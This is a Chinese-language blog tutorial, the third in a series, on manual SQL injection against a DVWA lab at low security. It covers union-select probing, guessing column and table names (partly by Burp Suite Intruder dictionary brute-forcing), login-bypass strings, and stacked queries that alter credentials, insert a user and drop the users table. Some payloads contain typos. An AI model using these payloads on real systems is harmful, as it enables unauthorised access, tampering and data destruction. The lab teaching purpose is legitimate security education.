1. 程式人生 > >SQL手工注入探索旅程(三)

SQL手工注入探索旅程(三)

SQL手工注入探索旅程(一) SQL手工注入探索旅程(一) 當無權讀取information_schema庫或者被拒絕union,order by這些語句 通過試驗去猜測資料庫資訊進而總結歸納出結果 設定dvwa安全等級為low | 在這裡插入圖片描述 我們在輸入框中輸入 一下指令:

' union select null,user()-- 
#使用MySQL資料庫的user()函式檢視當前使用者

在這裡插入圖片描述 得知是root(此root為資料庫的root,並非系統下的root,那麼便有權讀取information_schema資料庫的內容

如果我們注入的web伺服器使用者不是root,那麼我們通過各種猜測去判斷 在hackbar中修改變數id的值為:

' amd a is null-- 
#系統報錯,則表示a列不存在,若沒有報錯,則表示a列存在

在這裡插入圖片描述 在這裡插入圖片描述 通過這種方式猜測資料庫當前表中的列名 但是人為通過這種方式效率太低,我們使用kali中的字典進行爆破 在這裡插入圖片描述 因為這些字典中有些行開頭有#,所以我們使用將其#去掉,然後存放在一個txt檔案中 在這裡插入圖片描述 我們使用Burpsuite進行字典爆破,通過代理獲取的資訊將其傳送到intruder中 在這裡插入圖片描述 清除原GET請求中的變數 在這裡插入圖片描述 選中需要改變的列名,點選add將其新增到變數中,變數值即為剛剛字典中的欄位 在這裡插入圖片描述

載入剛剛製造出來的字典 在這裡插入圖片描述 去掉payload Encoding 在這裡插入圖片描述 開始爆破 在這裡插入圖片描述 爆破的出的目標資料庫中列名 在這裡插入圖片描述

猜測表名 在這裡插入圖片描述 通過burpsuite進行字典爆破判斷表明 在這裡插入圖片描述 在這裡插入圖片描述 目前我們可以得知改資料庫有一個表users,users表有個列為user

猜庫裡其他表

' and (select count(*) from table)>0--+

猜列表對應關係:

' and users.user is null--+

猜欄位內容

' or user=' admin
' or user like '%a%

猜賬戶對應密碼

' or user=' admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

當資料庫可寫時 我們去修改其資料庫賬戶資訊

'; update user set user=' abc ' where user=' admin 
#將使用者admin的名稱改為abc
' ; update user set passwd=' csacsd2134254' where passwd=' sfesfedfv34xvdd24'
#將使用者的passwd的密碼修改
'; INSERT INTO users (' user_id',' first_name',' last_name','
user','password','avatar') VALUES
(‘35',‘a',‘b',‘c','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+
'; DROP TABLE users; --